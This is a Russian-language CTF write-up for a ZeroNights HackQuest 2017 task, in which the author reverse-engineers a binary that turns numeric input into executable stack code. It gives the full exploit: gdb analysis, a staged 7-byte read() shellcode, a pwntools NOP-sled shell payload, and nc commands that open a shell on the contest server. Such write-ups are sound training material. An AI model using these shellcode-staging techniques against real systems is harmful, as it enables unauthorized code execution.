- Задача
- Краткое описание решения
- Использованные инструменты
- Полезные идеи
- Подробное решение с полными командами
TL;DR: 7 байт от одного числа достаточно для read(0, stack, big_N), чтобы дослать новый код и вызвать командную оболочку. Но первое рабочее решение было устроено сложней...
Day 6 / Strange command server
Some server receives commands in a very strange format. We have some command for it and its sources.
It is located on nc spbctf.ppctf.net 5353
Get the flag!
(If task lags, ask @awengar on telegram. After solvin the task please tell @awengar how much time did you spend) This task was prepared by RuCTFe
Содержимое hq2017_task6_test.txt:
5
13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0
hq2017_task6_m116 - не исходный код, а бинарный файл:
$ file hq2017_task6_m116
hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
$ sha256sum hq2017_task6_m116
65d94868039be955bbb7774b4dea01d7404ce3bda6250343a109900b5dd68007 hq2017_task6_m116
Нам дано два файла: текстовый файл с числами и ELF для Linux x86-64 (спасибо утилите file). Текстовый файл очень простой. Сразу видно, что первое число - количество следующих чисел. ELF маленький, это приятно. Сразу пробуем декомпилировать его при помощи snowman - результат запутанный. Дизассемблируем код при помощи objdump - результат запутанный: есть много ненужных прыжков.
Наиболее перспективным кажется не использовать статический анализ, а попробовать понять, что происходит методом чёрного ящика: если там есть перекодирование, то надо найти выходной буфер и посмотреть значения для разных значений ввода. Хотя сначала надо понять, что вообще происходит: как backdoor выполняет команды? Там интерпретатор?
Пробуем запустить в виртуальной машине с тестовым вводом из данного нам текстового файла - работает, выводит "cafebabe". Но в коде нет "cafebabe". Запускаем сбор трейса для тестового ввода, следя только за jmp и call инструкциями. В трейсе явно выделяется необычная инструкция: callq *-0x20(%rbp)
, хотя есть и другие странности.
Пробуем менять ввод. Добавляем 1 к последней цифре последнего числа - ничего не изменилось. Убираем первую цифру последнего числа - краш с SIGILL. Это интересно! Запускаем под gdb и повторяем ввод: адрес инструкции, на которой программа получает SIGILL, находится в стеке. Запускаем checksec: NX выключен. Ставим breakpoint на ту странную инструкцию, делаем 1 шаг по инструкциям и оказываемся как раз в том буфере в стеке, где программа крашится. Всё сошлось: наш ввод перекодируется в бинарный код и выполняется. Несмотря на то, что буфер в стеке, его адрес легко задать для дебаггера: это rip ($pc) после выполнения той необычной инструкции.
Для ускорения анализа нам потребуется команда, чтобы прогонять под gdb программу с заданным вводом и выводить 16 байт от начала буфера. Пробуем менять количество чисел: во-первых, мы можем не давать все числа и программа не ждёт ввода до первого срабатывания breakpoint'а, во-вторых, количество чисел лежит в стеке через 4 байта после нашего буфера. Пробуем при количестве 4 давать разные значения одного числа: если подавать маленькие числа подряд, то видно, что в буфере получается целое число в 6 раз меньше заданного; если пробовать увеличивать ввод, то это преобразование сохраняется.
Так что грубая оценка количество контролируемых байт такая: 8 байт в буфере и, возможно, ещё 8 байт через количество элементов, но потребуется прыжок; итого - где-то 16 байт кода. 16 байт - маловато для вызова командной оболочки (без модификаций шеллкода), но вполне достаточно, чтобы использовать системный вызов read, чтобы записать новый код, который уже вызовет командную оболочку.
Пробуем указать очень большое количество чисел - получаем SIGSEGV, так что оценка неточная. Нужен короткий код вызова read. Например, shellcode на 8 байт:
push rdx ; pop rax
- копируем ноль из rdx в rax через стек,pop rdx
- в rdx кладём большое число из стека,pop rsi
- в rsi кладём адрес буфера, который тоже оказался в стеке,push rbx ; pop rdi
- копируем ноль из rbx в rdi через стек,syscall
- задействуем системный вызов. Это должно влезть в одно число, но выясняется, что младший байт из 8 не может быть произвольным. Так что реально мы контролируем только 7 байт в первом куске.
У нас возможность положить часть кода недалеко от буфера, указав другое количество чисел. Но нам нужен прыжок между частями. Короткий прыжок занимает 2 байта. Отделяем последние 3 байта кода (pop rdi ; syscall
). Количество чисел не надо кодировать, так что нужное значение - 331615. Но количество чисел влияет на кодирование кода в самих числах. Попробуем угадать делитель - 331615 * 2: старшие байты в буфере такие, как надо, а младшие - нет. Младшие байты легко подобрать половинным делением.
Теперь нужен код, который будет выполняться дальше. Нужный shellcode есть в pwntools. Но в момент записи нового кода выполнение уже на конце буфера, а пишем мы с самого начала, так что первые байты нового ввода не будут выполнены. Можно дополнить shellcode инструкциями nop: даже если ошибиться с количеством, они приведут выполнение в нужное место.
И вот наша награда:
user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
Флаг был получен с сервера и отправлен на сайт через 3 часа 51 минуту после официального начала.
Однако это решение можно упростить: инструкция 'xchg eax, edx' обнуляет rax целиком в один байт вместо двух и можно обойтись без использования количества чисел и прыжка между частями. Пример ввода: 2 2848553957111076.0. Так же это может позволить избавиться от использования чисел в стеке.
Все использованные инструменты являются свободным программным обеспечением. Всё, кроме snowman, pwntools и ROPgadget, доступно в Debian из стандартного репозитория и ставится "в два клика".
- виртуальная машина с Debian - чтобы не запускать код у себя,
- file - для определения типа файла,
- strings - для просмотра строк в бинарных файлах (не помогло),
- snowman - для декомпиляции кода (не помогло),
- objdump - для дизассемблирования кода,
- readelf - для определения точки входа программы,
- strace и ltrace - для простого исследования поведения программы (не помогло),
- gdb - для исследования поведения программы вручную, записи трейса и отладки решения,
- python - для разных вещей, включая использование pwntools,
- pwntools:
- asm() - для ассемблирования shellcode'а,
- disasm() - для исследования своего shellcode'а,
- shellcraft.amd64.linux.sh() - для получения стандартного shellcode'а для вызова командной оболочки,
- Perl, cat, sed, grep и другие стандартные утилиты, а так же встроенные команды оболочки bash - для организации всего и мелкой автоматизации,
- ROPgadget - для поиска дополнительного кода в дампе стека (не помогло),
- man 2 read - для просмотра документации по системному вызову read,
- emacs - для ведения записок и управления терминалами через shell-mode.
-
CTF'ы - потрясающая среда для самообучения с игрофикацией и соревновательным элементом. Про это есть даже отдельные доклады. Сейчас онлайн CTF'ы проходят почти каждую неделю.
-
ZeroNights HackQuest - конкурс с уникальным форматом: даётся 1 сложная интересная задача в день и каждый день можно стать победителем. В процессе решения можно многому научиться. Задачи в HackQuest'е выталкивают решающего на совершенно новый уровень. Это особенное чувство!
-
Выключенный NX - это хорошо для атакующего.
-
В части задач проще определить связь между входом и выходом кода по значениям, нежели по коду. В части случаев можно подобрать вход для желаемого выхода, не понимая связь. Однако это требует понимания, где выход (а иногда и понимая, где вход).
-
Обычный shellcode относительно большой, потому что не зависит от окружения. Используя имеющиеся значения регистров и чисел в стеке, его можно сильно сократить.
-
Если мы управляем 6-8 байтами кода и нам чуть-чуть повезло с окружением (регистры и/или стек), то мы уже можем сделать системный вызов read. Если ввод не закрыт, это даёт много возможностей.
-
Имея произвольный read и возможность записи кода, можно дослать shellcode для вызова командной оболочки.
-
Новый shellcode можно записать поверх старого кода и продолжить выполнение в новом коде без каких-либо дополнительных инструкций.
-
Имея произвольный read и не имея возможности записи нового кода, можно попробовать записать ROP-chain в стек (например, для задачи tiny backdoor v2 в HackOver CTF 2016).
-
Простая автоматизация gdb:
printf '...' > input && printf 'run < input \n ...' | gdb ...
-
Простой трейсер с gdb (не всегда применим, потому что цикл может завершиться досрочно):
printf '... \n while 1 \n x/1i $pc \n si \n end \n' | gdb ...
-
shellcode можно разбить на части, соединённые прыжками. Короткий прыжок вперёд (пропуская до 127 байт) занимает 2 байта. Прыжок можно ассемблировать при помощи pwntools, используя метку и nop'ы на месте "мусора", который пропускается. Прыжок через 1 байт:
asm('jmp L ; nop ; L: nop')
, nop'ы потом надо обрезать. -
Примерный список однобайтовых инструкций можно получить перебором с pwntools:
for i in range(256): print disasm(chr(i))
-
xchg eax, edx
на x86-64 занимает 1 байт. Помимо очевидного действия эта инструкция обнуляет старшую половину rax (и rdx). Так что при rdx равном 0 это обнуляет rax.
В примерах ниже вывод сокращён до нужного. Символы табуляции могут быть заменены на пробелы. Так же могут быть пропущены пустые строки. hq2017_task6_m116 переименовано в m1. По сравнению с реальным решением, команды немного улучшены, чтобы быть более переносимыми, но не все переносимы. К сожалению, длинные one-liner'ы выглядят не лучшим образом в браузере (можно выключить стили или посмотреть текстовую версию).
Ищем точку входа:
user@ctf:~$ readelf -a m1
...
Entry point address: 0x400710
...
Собираем трейс:
user@ctf:~$ printf 'break *0x400710 \n set pagination off \n run < hq2017_task6_test.txt \n while 1 \n x/1i $pc \n si \n end' | gdb ./m1 | grep -e call -e jmp
...
=> 0x4009ae: callq *-0x20(%rbp)
...
=> 0x400ac8: callq 0x4006a0 <printf@plt>
...
Смотрим аргумент printf'а:
user@ctf:~$ gdb ./m1
...
(gdb) break printf
Breakpoint 1 at 0x4006a0
(gdb) run < hq2017_task6_test.txt
...
Breakpoint 1, __printf (format=0x6021b7 "%x\n") at printf.c:28
(gdb) info regi
...
rsi 0xcafebabe 3405691582
rdi 0x6021b7 6300087
...
(gdb) finish
Run till exit from #0 __printf (format=0x6021b7 "%x\n") at printf.c:28
cafebabe
0x0000000000400acd in ?? ()
...
Изучаем SIGILL, удалив первую цифру последнего числа:
user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n run < input \n info regis \n x/10i $pc \n' | gdb ./m1
...
Program received signal SIGILL, Illegal instruction.
...
rip 0x7fffffffe58a 0x7fffffffe58a
...
(gdb) => 0x7fffffffe58a: (bad)
0x7fffffffe58b: rex.WX retq
0x7fffffffe58d: retq
Пробуем подойти к этому через ту странную инструкцию 0x4009ae: callq *-0x20(%rbp)
:
user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n info regis \n x/10i $pc \n' | gdb ./m1
...
Breakpoint 1, 0x00000000004009ae in ?? ()
...
rip 0x7fffffffe588 0x7fffffffe588
...
(gdb) => 0x7fffffffe588: mov $0x4e,%cl
0x7fffffffe58a: (bad)
0x7fffffffe58b: rex.WX retq
0x7fffffffe58d: retq
Так что 0x7fffffffe588 выше - адрес нашего буфера в стеке (может различаться на разных системах). Посмотрим, где он находится, полагаясь на то, что gdb обеспечивает стабильные адреса. Он находится в стеке, так что сделаем дамп стека.
user@ctf:~$ gdb ./m1
...
(gdb) run
Starting program: /home/user/m1
^C
...
(gdb) info proc
process 26241
...
(gdb) ! cat /proc/26241/maps
...
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
...
(gdb) p 0x7fffffffe588 > 0x7ffffffde000 && 0x7fffffffe588 < 0x7ffffffff000
$1 = 1
(gdb) dump binary memory bin01 0x7ffffffde000 0x7fffffffefff
...
Вызов ROPgadget для дампа (хотя это не нужно для решения):
user@ctf:~$ ~/.local/bin/ROPgadget --binary bin01 --rawMode=64 --rawArch=x86
...
Смотрим checksec: NX выключен.
user@ctf:~$ ./checksec.sh/checksec --format json --file m1
...,"nx":"no",...
Автоматизируем показ выходного буфера с кодом и пробуем менять указанное количество чисел (0x4142 == 16706):
user@ctf:~$ printf '5\n0.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/16xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:'
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe590: 0xd1 0xe0 0xff 0xff 0x05 0x00 0x00 0x00
user@ctf:~$ printf '4\n0.0\n' ...
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe590: 0xd1 0xe0 0xff 0xff 0x04 0x00 0x00 0x00
user@ctf:~$ printf '16706\n0.0\n' ...
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe590: 0xd5 0xe0 0xff 0xff 0x42 0x41 0x00 0x00
Пробуем одно число с количеством чисел 4. Легко заметить, что значение в буфере растёт на 1 при увеличении ввода на 6.
user@ctf:~$ seq 1000 | while read -r a; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
0x7fffffffe588: 0x02 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
...
Пробуем ещё числа вручную. Даже с 7 байтами у нас появляется небольшое расхождение с ожидаемым значением. (Вывод перемешан с умножением в оболочке Python)
user@ctf:~$ while read -r a; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done
>>> 0x41 * 6
390
0x7fffffffe588: 0x41 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00
>>> 0x4142 * 6
100236
0x7fffffffe588: 0x42 0x41 0xc3 0xc3 0xc3 0x00 0x00 0x00
>>> 0x414243 * 6
25660818
0x7fffffffe588: 0x43 0x42 0x41 0xc3 0xc3 0xc3 0x00 0x00
>>> 0x41424344 * 6
6569169816
0x7fffffffe588: 0x44 0x43 0x42 0x41 0xc3 0xc3 0xc3 0x00
>>> 0x4142434445 * 6
1681707473310
0x7fffffffe588: 0x45 0x44 0x43 0x42 0x41 0xc3 0xc3 0xc3
>>> 0x414243444546 * 6
430517113167780
0x7fffffffe588: 0x46 0x45 0x44 0x43 0x42 0x41 0xc3 0xc3
>>> 0x41424344454647 * 6
110212380970952106
0x7fffffffe588: 0x48 0x46 0x45 0x44 0x43 0x42 0x41 0x00
>>> 0x4142434445464748 * 6
28214369528563739568L
0x7fffffffe588: 0x00 0x48 0x46 0x45 0x44 0x43 0x42 0x41
>>> 0x1234567890112233 * 6
7870610803708579122
0x7fffffffe588: 0x00 0x22 0x11 0x90 0x78 0x56 0x34 0x12
Для разработки shellcode'а, использующего контекст, нам понадобятся значения регистров и содержимое стека.
user@ctf:~$ printf '4\n1.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/4xg $rsp \n info reg \n' | gdb ./m1 | sed -e 's/(gdb) //'
...
0x00007fffffffe588 in ?? ()
0x7fffffffe528: 0x00000000004009b1 0x00007fffffffe588
0x7fffffffe538: 0x3fc5555555555555 0x000000000000007c
rax 0x7fffffffe500 140737488348416
rbx 0x0 0
rcx 0xc3c3c300 3284386560
rdx 0x0 0
rsi 0x7fffffffe6d0 140737488348880
rdi 0x400710 4196112
rbp 0x7fffffffe5a0 0x7fffffffe5a0
rsp 0x7fffffffe528 0x7fffffffe528
r8 0x0 0
r9 0x7ffff787ec60 140737346268256
r10 0x7fffffffe2f0 140737488347888
r11 0x7ffff7b01530 140737348900144
r12 0x400710 4196112
r13 0x7fffffffe6d0 140737488348880
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe588 0x7fffffffe588
...
Первые два значения в стеке: 0x00000000004009b1 - адрес возврата из shellcode'а, 0x00007fffffffe588 - адрес буфера с нашим кодом.
Используем pwntools для создания второй части shellcode'а:
>>> from pwn import *
>>> context.arch = "x86_64"
>>> print asm('pop rdi; syscall')[::-1].encode('hex')
050f5f
>>> 0x050f5f
331615
Используем pwntools для создания первой части shellcode'а с прыжком: 5 байт кода, 2 байта - прыжок через 5 байт, nop'ы ("90" в hex). nop'ы надо отрезать.
>>> print asm('push rdx ; pop rax ; pop rdx ; pop rsi ; push rbx ; jmp L ; nop ; nop ; nop ; nop ; nop ; L: nop')[::-1].encode('hex')
90909090909005eb535e5a5852
>>> 0x05eb535e5a5852 * 331615 * 2
1105019561413684439260L
Пробуем полученные числа в цикле, чтобы было удобно исправлять:
user@ctf:~$ while read -r a; do printf '331615\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n x/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done
1105019561413684439260
0x7fffffffe588: 0xf1 0x9d 0xd2 0x89 0x54 0xeb 0x05 0x00
...
1105016229177322000000
0x7fffffffe588: 0x52 0x58 0x5a 0x5e 0x53 0xeb 0x05 0x00
Осталось только применить:
user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
Примерный список однобайтовых инструкций x86-64:
>>> for c in (c for c in (disasm(chr(i)) for i in range(256)) if '.byte' not in c and '(bad)' not in c): print c
0:
0: 26 es
0: 2e cs
0: 36 ss
0: 3e ds
0: 40 rex
0: 41 rex.B
0: 42 rex.X
0: 43 rex.XB
0: 44 rex.R
0: 45 rex.RB
0: 46 rex.RX
0: 47 rex.RXB
0: 48 rex.W
0: 49 rex.WB
0: 4a rex.WX
0: 4b rex.WXB
0: 4c rex.WR
0: 4d rex.WRB
0: 4e rex.WRX
0: 4f rex.WRXB
0: 50 push rax
0: 51 push rcx
0: 52 push rdx
0: 53 push rbx
0: 54 push rsp
0: 55 push rbp
0: 56 push rsi
0: 57 push rdi
0: 58 pop rax
0: 59 pop rcx
0: 5a pop rdx
0: 5b pop rbx
0: 5c pop rsp
0: 5d pop rbp
0: 5e pop rsi
0: 5f pop rdi
0: 64 fs
0: 65 gs
0: 66 data16
0: 67 addr32
0: 6c ins BYTE PTR es:[rdi],dx
0: 6d ins DWORD PTR es:[rdi],dx
0: 6e outs dx,BYTE PTR ds:[rsi]
0: 6f outs dx,DWORD PTR ds:[rsi]
0: 90 nop
0: 91 xchg ecx,eax
0: 92 xchg edx,eax
0: 93 xchg ebx,eax
0: 94 xchg esp,eax
0: 95 xchg ebp,eax
0: 96 xchg esi,eax
0: 97 xchg edi,eax
0: 98 cwde
0: 99 cdq
0: 9b fwait
0: 9c pushf
0: 9d popf
0: 9e sahf
0: 9f lahf
0: a4 movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi]
0: a5 movs DWORD PTR es:[rdi],DWORD PTR ds:[rsi]
0: a6 cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
0: a7 cmps DWORD PTR ds:[rsi],DWORD PTR es:[rdi]
0: aa stos BYTE PTR es:[rdi],al
0: ab stos DWORD PTR es:[rdi],eax
0: ac lods al,BYTE PTR ds:[rsi]
0: ad lods eax,DWORD PTR ds:[rsi]
0: ae scas al,BYTE PTR es:[rdi]
0: af scas eax,DWORD PTR es:[rdi]
0: c3 ret
0: c9 leave
0: cb retf
0: cc int3
0: cf iret
0: d7 xlat BYTE PTR ds:[rbx]
0: ec in al,dx
0: ed in eax,dx
0: ee out dx,al
0: ef out dx,eax
0: f0 lock
0: f1 icebp
0: f2 repnz
0: f3 repz
0: f4 hlt
0: f5 cmc
0: f8 clc
0: f9 stc
0: fa cli
0: fb sti
0: fc cld
0: fd std